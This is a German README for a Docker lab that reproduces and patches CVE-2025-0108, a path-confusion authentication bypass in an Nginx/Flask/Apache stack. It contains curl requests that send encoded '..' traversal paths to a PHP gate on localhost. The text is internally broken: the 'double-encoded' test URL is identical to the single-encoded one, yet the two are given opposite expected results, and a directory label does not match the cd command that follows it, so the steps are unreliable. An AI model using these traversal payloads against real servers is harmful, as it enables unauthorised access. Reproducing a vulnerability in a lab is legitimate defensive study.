
Reproduziert die CVE-2025-0108 Pfadverwechslungsschwachstelle in Nginx/Apache-Stacks. Enthält einen angreifbaren PoC und eine gepatchte Implementierung, die eine Backend-seitige Absicherung gegen doppelt codierte Authentifizierungsumgehung demonstriert.
Dieses Repository enthält eine kleine Laborumgebung zur Reproduktion und Abschwächung des CVE-2025-0108-Problems (Pfadverwirrung / Header-Schmuggel zwischen Nginx und Apache).
Ziel der Aufgabe ist es zu demonstrieren, wie doppelt kodierte Anfragen die Authentifizierung in einem mehrschichtigen Stack (Nginx -> Flask-Backend -> Apache/PHP) umgehen können, und eine Backend-seitige Gegenmaßnahme zu zeigen.
Diese Umgebung dient ausschließlich zu Bildungszwecken.
CVE-2025-0108/ — anfällige Implementierung (PoC)CVE-2025-0108_fix/ — gepatchte Implementierung (Backend überprüft dekodierten Pfad)CVE-2025-0108Simuliere den anfälligen Aufbau, bei dem ein doppelt kodierter Pfad die Authentifizierung aufgrund inkonsistenter Pfad-Dekodierung zwischen den Schichten umgehen kann.
Aus dem Verzeichnis CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Führen Sie diese curl-Befehle von Ihrem Host aus:
Test 1 — doppelt kodiert (erwartet: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Diese Anfrage verwendet doppelte Kodierung (%252e%252e == %2e%2e == ..) und demonstriert die Umgehung im anfälligen Setup. Sie sollte 200 OK zurückgeben.
Test 2 — einfach kodiert (erwartet: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Test 3 — roher Pfad mit .. (erwartet: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Umgebungen stoppen:
docker compose down
Das Backend führt vor der Zugriffsgewährung eine zusätzliche Prüfung des dekodierten Pfades durch. Dies verhindert die Umgehung der Authentifizierung, wenn Anfragen doppelt kodiert sind.
Aus dem Verzeichnis CVE-2025-0108:
cd CVE-2025-0108_fix
docker compose up --build
Führen Sie diese curl-Befehle von Ihrem Host aus:
Aus dem Verzeichnis CVE-2025-0108_fix:
cd CVE-2025-0108_fix
docker compose up --build
Test 1 — doppelt kodiert (erwartet: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Das behobene Backend erkennt dekodierte .. und gibt 401 Unauthorized zurück.
Test 2 — einfach kodiert (erwartet: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Test 3 — roher Pfad mit .. (erwartet: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Umgebungen stoppen:
docker compose down